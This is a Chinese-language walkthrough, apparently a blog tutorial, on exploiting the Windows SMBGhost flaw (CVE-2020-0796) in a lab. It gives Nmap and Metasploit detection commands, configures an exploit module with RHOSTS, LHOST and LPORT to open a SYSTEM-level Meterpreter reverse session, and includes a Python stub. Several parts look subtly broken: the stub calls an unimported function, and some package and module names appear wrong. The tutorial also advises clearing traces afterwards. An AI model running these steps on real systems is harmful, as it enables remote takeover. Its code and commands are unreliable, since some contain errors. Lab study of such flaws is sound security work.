法律责任声明:本文内容仅用于网络安全技术学习与研究,请不要在未获得明确授权的情况下使用文中方法对非本人所有的系统进行操作,任何非法使用造成的法律责任由使用者自行承担。
一、漏洞背景介绍
CVE-2020-0796是2020年3月曝光的Windows SMBv3.1.1协议远程代码执行漏洞,业内也将其称为SMBGhost漏洞。该漏洞源于SMB协议在处理压缩数据包时存在内存破坏缺陷,攻击者可以通过构造特制的SMB数据包,在目标系统上远程执行任意代码,甚至直接获取系统最高权限。受影响的系统包括Windows 10 1903/1909、Windows Server 1903/1909等未安装对应补丁的版本。
我在第一次接触这个漏洞的实战时,曾因为对靶机环境不熟悉走了不少弯路,接下来会结合实际操作流程和遇到的问题,完整还原整个实战过程。
二、实验环境准备
本次实战需要搭建两个互通的测试环境:
1、攻击机:使用Kali Linux 2023版,提前安装好scapy、metasploit框架等工具
2、靶机:使用未打KB4551762补丁的Windows 10 1903版本,确保靶机开启SMB服务并开放445端口
3、网络环境:攻击机和靶机处于同一局域网,或者通过端口映射实现外网互通
实操小提示:初次测试时我忘记关闭靶机自带的防火墙,导致扫描时一直无法检测到445端口,后来临时关闭靶机防火墙后才解决问题。请不要忽略防火墙配置对测试的影响。
三、漏洞检测步骤
在正式利用漏洞前,需要先确认靶机是否存在该漏洞,常用的检测方式有两种:
1、使用Nmap脚本检测
首先更新Nmap的SMB脚本库,避免出现脚本不兼容的问题,执行命令:
sudo apt update && sudo apt install nmap-scripts
然后使用专用脚本扫描靶机的445端口:
nmap -p 445 --script smb-v3-compression 靶机IP地址
如果扫描结果中出现VULNERABLE: SMBv3 compression enabled的提示,则说明靶机存在SMBGhost漏洞。我第一次使用这个命令时,因为脚本库未更新,一直返回无结果,更新后才正常识别到漏洞。
2、使用Metasploit辅助模块检测
启动Metasploit框架后,加载SMB扫描模块:
msfconsole
use auxiliary/scanner/smb/smb2
set RHOSTS 靶机IP地址
run
如果模块返回The target is vulnerable to CVE-2020-0796,则可以确认漏洞存在。
四、漏洞利用与提权实战
本次实战我们使用Metasploit的官方exp模块进行提权操作,步骤如下:
1、加载SMBGhost漏洞利用模块
use exploit/windows/smb/smbghost_rce
2、配置攻击参数
# 设置靶机IP地址
set RHOSTS 靶机IP地址
# 设置攻击机监听的本地IP地址
set LHOST 攻击机局域网IP地址
# 设置监听端口,建议使用非默认端口避免被拦截
set LPORT 4444
3、启动监听并执行exp
run
如果执行成功,你会看到弹出一个 Meterpreter 会话,输入getuid命令可以看到当前会话的用户权限为NT AUTHORITY\SYSTEM,也就是直接获取了系统最高权限,完成提权操作。
实操踩坑记录:有一次执行exp后一直出现连接超时,排查后发现是靶机的SMB服务被临时重启过,重新确认445端口开放后才恢复正常。另外部分精简版的Windows 10会禁用SMBv3压缩,这类靶机无法触发该漏洞。
如果不想使用Metasploit,也可以使用公开的Python exp脚本进行测试,以下是简化的示例代码(仅作学习参考):
from scapy.all import IP, TCP, raw
import sys
def smbghost_exploit(target_ip):
# 构造TCP SYN包建立SMB连接基础
syn_pkt = IP(dst=target_ip)/TCP(dport=445, flags="S")
resp = sr1(syn_pkt, timeout=2, verbose=0)
if not resp:
print("无法连接到靶机445端口")
return
# 后续可根据协议规范构造恶意SMB压缩数据包
print(f"已完成与{target_ip}的SMB基础连接")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"使用方法: {sys.argv[0]} <靶机IP地址>")
sys.exit(1)
smbghost_exploit(sys.argv[1])
五、实战后优化建议
完成实战测试后,需要及时对环境进行清理和加固:
1、关闭靶机的SMB服务或者安装官方补丁KB4551762,修复该漏洞
2、恢复靶机的防火墙配置,避免不必要的端口暴露
3、清理攻击机上的日志和残留文件,确保测试痕迹被清除
六、常见问题排查
1、扫描时提示端口未开放:检查靶机445端口是否开启、防火墙是否拦截了流量
2、exp执行失败:确认靶机系统版本符合漏洞影响范围,检查攻击机工具是否安装完整
3、无法获取最高权限:部分靶机可能开启了UAC权限限制,需要调整exp的执行参数











